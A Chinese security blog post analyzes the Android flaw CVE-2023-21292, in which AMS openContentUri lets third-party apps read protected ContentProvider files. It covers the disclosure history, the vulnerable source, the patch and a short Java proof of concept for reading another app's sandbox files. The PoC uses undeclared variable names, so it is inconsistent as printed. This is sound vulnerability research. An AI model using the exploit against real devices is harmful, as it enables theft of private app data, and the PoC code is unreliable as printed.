文章目录
- 前言
- 漏洞细节
- 故事起源
- 漏洞利用
- 漏洞修复
- 总结
前言
本周在分析 Google 官方发布的 Android 2023 年8 月安全公告 涉及的漏洞补丁的时候，遇到一个有意思的漏洞：CVE-2023-21292。
之所以说它有意思是因为这个漏洞早在去年年底就在某平台上被国外安全大佬 Sergey Toshin 披露了，当时大佬还愤愤不平说 Google 拒收，结果没想到今年 8 月份翻案了哈哈。
漏洞细节
先看下 Mitre 对该 CVE 漏洞的描述：
In openContentUri of ActivityManagerService.java, there is a possible way for a third party app to obtain restricted files due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.
看不懂？没事，我也不装了，还是 Google 翻译一下吧哈哈：在 ActivityManagerService.java 的 openContentUri 中，由于代理混淆，第三方应用程序有可能获取受限文件。 这可能会导致本地信息泄露，而无需额外的执行权限。 利用该漏洞不需要用户交互。
故事起源
直接上 Sergey Toshin 的原帖信息：
简单来说就是，作者发现了如下实事：
- 如果某 APP 的存在 exported=“true” 属性的 ContentProvider 组件，且在其 openFile 函数中使用了动态权限检查机制来检查访问者的 uid、包名或指定权限；
- 那么可以借助 AMS 框架服务提供的 openContentUri 接口来绕过上述权限检查，因为当恶意 app 通过 AMS 接口去访问 app 受保护的 ContentProvider 组件的 openFile 函数时，最终的调用方实际上是 system_server 进程，其 uid=1000，具备极高的访问特权。
与此同时，Sergey Toshin 还给出了具体的示例代码。先看下 APP 在 openFile 函数中使用 checkCallingPermission 函数检查调用方权限的示例代码：
接着提供了两种调用该 openFile 函数的方法及其结果对比：
从这些公开的细节来看，这显然就是个权限检查绕过类型的漏洞，其危害也很大：恶意应用足以借助该漏洞成功调用受害应用的受保护的 openFile 函数，来读取受害应用的沙箱文件。
【补充】如果你并不了解 Content Provider 组件和 openFile 函数，建议你先阅读我的另一篇文章：ContentProvider openFile接口目录遍历漏洞。
有人在推文下评论了 Google 没接收这个漏洞吗？作者答复说 Google 给拒收了……谷歌工程师的谜之操作hh，不过我猜测是因为作者没找到 Google 产品体系下具体的可利用的受害 app 作为漏洞的支撑验证材料。
但是显然 CVE-2023-21292 就是在说 Sergey Toshin 的这个漏洞，查看致谢榜，果然是他哈哈：
有意思的就是 Sergey Toshin 是在 2022 年 8 月 6 日发帖公开的此漏洞，而 Google 却在一年后才发布安全补丁修复了该高危漏洞。
这期间应该是作者或者业界的其它安全工程师发现了 Google 自研 app 存在可利用的漏洞点（符合上文提到的条件），导致 Google 不得不回头审视下他们曾经”拒收“的 Sergey Toshin 的漏洞。
【More】实际上本人在 Sergey Toshin 发布该信息的几个月内也成功借助他的公开信息，挖到了几个相关漏洞哈哈，不过并没向谷歌提交，毕竟花精力写英文报告却被谷歌拒绝是一件很费力不讨好的事……但可能也因此错过了一个 CVE 高危漏洞，不过这个洞的归属终究回到 Sergey Toshin 本人，也算实至名归。
ps：信息传播速度还是很快的，发现跟我一起注意到该漏洞的信息的还有国内一位安全工程师，在他早期的博客已经记录了相关信息：ContentProvider openFile 内部校验的绕过方式。
漏洞利用
好了，故事讲完了，接下来开始看看漏洞原理和漏洞利用了。
【漏洞原理】
直接到 cs.android.com 查看 Android 源码看看 AMS 这个 openContentUri 函数干了点啥：
//frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java
// TODO: Move to ContentProviderHelper?
public ParcelFileDescriptor openContentUri(String uriString) throws RemoteException {
enforceNotIsolatedCaller("openContentUri");
final int userId = UserHandle.getCallingUserId();
final Uri uri = Uri.parse(uriString);
String name = uri.getAuthority();
ContentProviderHolder cph = mCpHelper.getContentProviderExternalUnchecked(name, null,
Binder.getCallingUid(), "*opencontent*", userId);
ParcelFileDescriptor pfd = null;
if (cph != null) {
try {
// This method is exposed to the VNDK and to avoid changing its
// signature we just use the first package in the UID. For shared
// UIDs we may blame the wrong app but that is Okay as they are
// in the same security/privacy sandbox.
final int uid = Binder.getCallingUid();
// Here we handle some of the special UIDs (mediaserver, systemserver, etc)
final String packageName = AppOpsManager.resolvePackageName(uid,
/*packageName*/ null);
final AndroidPackage androidPackage;
if (packageName != null) {
androidPackage = mPackageManagerInt.getPackage(packageName);
} else {
androidPackage = mPackageManagerInt.getPackage(uid);
}
if (androidPackage == null) {
Log.e(TAG, "Cannot find package for uid: " + uid);
return null;
}
final AttributionSource attributionSource = new AttributionSource(
Binder.getCallingUid(), androidPackage.getPackageName(), null);
pfd = cph.provider.openFile(attributionSource, uri, "r", null);
} catch (FileNotFoundException e) {
// do nothing; pfd will be returned null
} finally {
// Ensure we're done with the provider.
mCpHelper.removeContentProviderExternalUnchecked(name, null, userId);
}
} else {
Slog.d(TAG, "Failed to get provider for authority '" + name + "'");
}
return pfd;
}
阅读源码可以看到：openContentUri 函数接收了外部传入的 uriString 字符串，并通过 openFile 函数以 “r”（读取）模式打开 uriString 对应的文件，同时返回了一个 ParcelFileDescriptor 对象（可被用于读写文件）。这个过程中缺乏权限检查，第三方 app 可以随意调用该接口，进而以 system_server 的身份读取害应用受保护的沙箱文件，实现权限提升。
【漏洞利用】
相应的漏洞利用 Poc 也很简单：
try {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
IBinder iBinder = (IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "activity");
parcelData1.writeInterfaceToken(iBinder.getInterfaceDescriptor());
parcelData1.writeString("content://com.test.XXX.provider/test.jpg");
iBinder.transact(1, data, reply, 0);
parcelReply1.readException();
ParcelFileDescriptor descriptor = null;
if (reply.readInt() != 0) {
descriptor = ParcelFileDescriptor.CREATOR.createFromParcel(reply);
}
if (descriptor!= null) {
FileInputStream in = new FileInputStream(descriptor.getFileDescriptor());
byte[] buff = new byte[in.available()];
in.read(buff);
Log.e(TAG, "Get Sandbox Data: " + new String(buff));
}
} catch (Exception e) {
e.printStackTrace();
}
以上 poc 程序完整借助 AMS 的 openContentUri 函数，提权读取 com.test.XXX 应用沙箱文件 test.jpg（得具体结合受害应用得 openFile 函数逻辑分析对应的受害应用沙箱文件路径），其中 iBinder.transact(1, data, reply, 0); 是因为在 AMS 框架 AIDL 服务中，openContentUri 函数的 transactCode=1。
漏洞修复
翻看 Android 提供的 CVE-2023-21292 补丁信息：
可以看到，Google 添加了调用方的身份或权限权限，只允许 vendor、system or product package 等具备特权的应用调用该接口。
总结
本来本人还专门写了一个静态扫描规则匹配相关漏洞的，打算持续关注是否会有研发人员在自己的 ContentProvider 组件中错误地使用相关动态权限检查保护 openFile 函数，但是看来这个权限绕过类型的漏洞至此画上句号了。实际上做权限检查更好的方式是在 AndroidMainfest 中声明组件的时候直接添加 permission 保护，而不是在代码中动态调用 checkCallingPermission 等函数进行检测。
此漏洞影响范围为：Android 11、12、12L、13，如此“明目张胆”地放在 AMS 框架第一个服务接口，却对外暴露漏洞存在了数年之久，可见日常的漏洞挖掘工作之中，一定不要放过任何细节，且要敢于质疑，Google 这样的全球科技大厂的工程师们也会犯一些我们意想不到的低级错误的。
